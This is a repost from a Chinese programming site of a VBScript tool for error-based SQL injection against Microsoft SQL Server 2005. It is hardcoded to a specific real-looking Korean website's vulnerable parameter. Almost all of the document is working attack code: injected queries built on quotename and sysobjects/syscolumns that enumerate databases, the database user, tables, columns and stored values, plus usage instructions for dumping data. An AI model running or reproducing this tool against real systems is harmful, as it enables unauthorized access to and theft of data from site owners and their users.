欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Sql2005注射辅助脚本[粗糙版]

程序员文章站 2022-04-03 20:26:34
作者:tr4c3 '为了保持脚本的通用性,放弃了 and (select col_name(object_id('tablename'),n)...
作者:tr4c3
'为了保持脚本的通用性,放弃了 and (select col_name(object_id('tablename'),n))=0这样的用法。
'欲返回韩文等字符可修改121或者136行,更多的设置要自己修改
'更多功能请大家自己加入

const method = "get" '提交方式请修改此处,有get和post可选
const display = "d" 's 保存到文件,d输出到屏幕

dim strurl_b, strurl, i, k, myarray, strarg, strd

strurl_b = "http://onedu.mk.co.kr/02_process/cata1_2.asp?kwajung_code=120'" '基于注射点的不确定性,此处请手工更改
i = 1 '库的基数
k = 0 '表和字段的基数
myarray = split(strurl_b, "?", -1, 1)
strurl = myarray(0) '取url
strarg = myarray(1) '取参数
set args = wscript.arguments

if args.count = 0 then
showu
end if
'if args.count =1 and lcase(args(0))

'************************************************************************
' 爆库 
'************************************************************************
if args.count =1 then
if lcase(trim(args(0)))="databases" then
resut("---------------===============================--------------")
resut("all the databases:")

do
strdata = " and quotename(db_name("&i&"))=0--"
sqlinj(strdata)
i = i + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
elseif lcase(trim(args(0)))= "info" then
resut("---------------===============================--------------")
resut("the current database is:")
strdata = " and quotename(db_name())=0--"
sqlinj(strdata)
resut("---------------===============================--------------")
resut("the database user is:")
strdata = " and quotename(user)=0--"
sqlinj(strdata)
resut("---------------===============================--------------")
resut("the system_user is:")
strdata = " and quotename(system_user)=0--"
sqlinj(strdata)
resut("---------------===============================--------------")
wscript.quit
end if
end if
'************************************************************************
' 爆表 
'************************************************************************
if args.count=2 and lcase(trim(args(1)))="tables" then
resut("---------------===============================--------------")
resut("the tables of " & args(0))
do
strdata = " and (select top 1 quotename(name) from "& args(0) & ".dbo.sysobjects where xtype=char(85) and name not in (select top "& k &" name from "&args(0)&".dbo.sysobjects where xtype=char(85)))=0--"
sqlinj(strdata)
k = k + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
end if

'************************************************************************
' 爆字段 
'************************************************************************
if args.count=3 and lcase(trim(args(2)))="cols" then
database = args(0)
table = args(1)
target = database & ".dbo." & table
targetcol = database & ".dbo.syscolumns"
resut("---------------===============================--------------")
resut("the columns of " & target)
do
strdata = " and (select top 1 quotename(name) from "& targetcol &" where id=object_id('"& target &"') and name not in (select top "&k&" name from "& targetcol &" where id=object_id('"& target &"')))=0--"
sqlinj(strdata)
k = k + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
end if

'************************************************************************
' 爆字段值 
'************************************************************************
if args.count=4 and lcase(trim(args(3)))="values" then
database = args(0)
table = args(1)
col = args(2)
target = database & ".dbo." & table 
resut("---------------===============================--------------")
resut("the values of " & args(2) & " in "&target)
do
strdata = " and (select top 1 quotename("& col &") from "& target & " where "& col &" not in (select top "& k &" "& col &" from "& target &"))=0--"
sqlinj(strdata)
k = k + 1
loop until strd=""
resut("---------------===============================--------------")
wscript.quit
end if

sub sqlinj(value)
if ucase(method) = "get" then
value = strarg & value
set objxml = createobject("microsoft.xmlhttp")
objxml.open "get", strurl &"?" & value , false
objxml.setrequestheader "referer", strurl
'objxml.setrequestheader "accept-language", "euc-kr"
objxml.send()
strrevs = objxml.responsetext '默认用这个
'strrevs = bytes2bstr(objxml.responsebody) '韩文有时候要用这个
if instr(strrevs,"'[")<>0 and instr(strrevs,"]'")<>0 then
strd = mid(strrevs,instr(strrevs,"'[")+2, instr(strrevs,"]'") - instr(strrevs,"'[")-2)
resut(" |_"&strd)
else
strd = ""
end if
elseif ucase(method) = "post" then
value = strarg & value
set objxml = createobject("microsoft.xmlhttp")
objxml.open "post", strurl, false
objxml.setrequestheader "content-type", "application/x-www-form-urlencoded"
objxml.setrequestheader "referer", strurl
objxml.send(urlencode(value))
strrevs = objxml.responsetext '默认用这个
'strrevs = bytes2bstr(objxml.responsebody) '韩文有时候要用这个
if instr(strrevs,"'[")<>0 and instr(strrevs,"]'")<>0 then
strd = mid(strrevs,instr(strrevs,"'[")+2, instr(strrevs,"]'") - instr(strrevs,"'[")-2)
resut(" |_"&strd)
else
strd = ""
end if
end if
end sub

function resut(strinfo)
if ucase(display) = "s" then
set fso = createobject("scripting.filesystemobject")
set fso1 = fso.opentextfile("result.txt",8,true)
fso1.writeline(strinfo)
fso1.close
set fso = nothing
elseif ucase(display) = "d" then
wscript.echo(strinfo)
end if
end function

function urlencode(str)
str = replace(str," ","+")
urlencode = str
end function

function bytes2bstr(vin)
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin,i,1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin,i+1,1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
i = i + 1
end if
next
bytes2bstr = strreturn
end function

sub showu()
with wscript
.echo("+--------------------------=====================------------------------------+")
.echo("sql2005注射辅助脚本(粗糙版),用于mssql显错模式 by tr4c3[at]126[dot]com")
.echo("usage:")
.echo(" cscript"&.scriptname&" info--爆基本信息")
.echo(" cscript"&.scriptname&" databases--爆所有库名")
.echo(" cscript"&.scriptname&" pubs tables--爆库pubs里所有用户表名")
.echo(" cscript"&.scriptname&" pubs authors cols--爆库pubs里authors表的所有字段名")
.echo(" cscript"&.scriptname&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.echo("+--------------------------=====================------------------------------+")
.quit
end with
end sub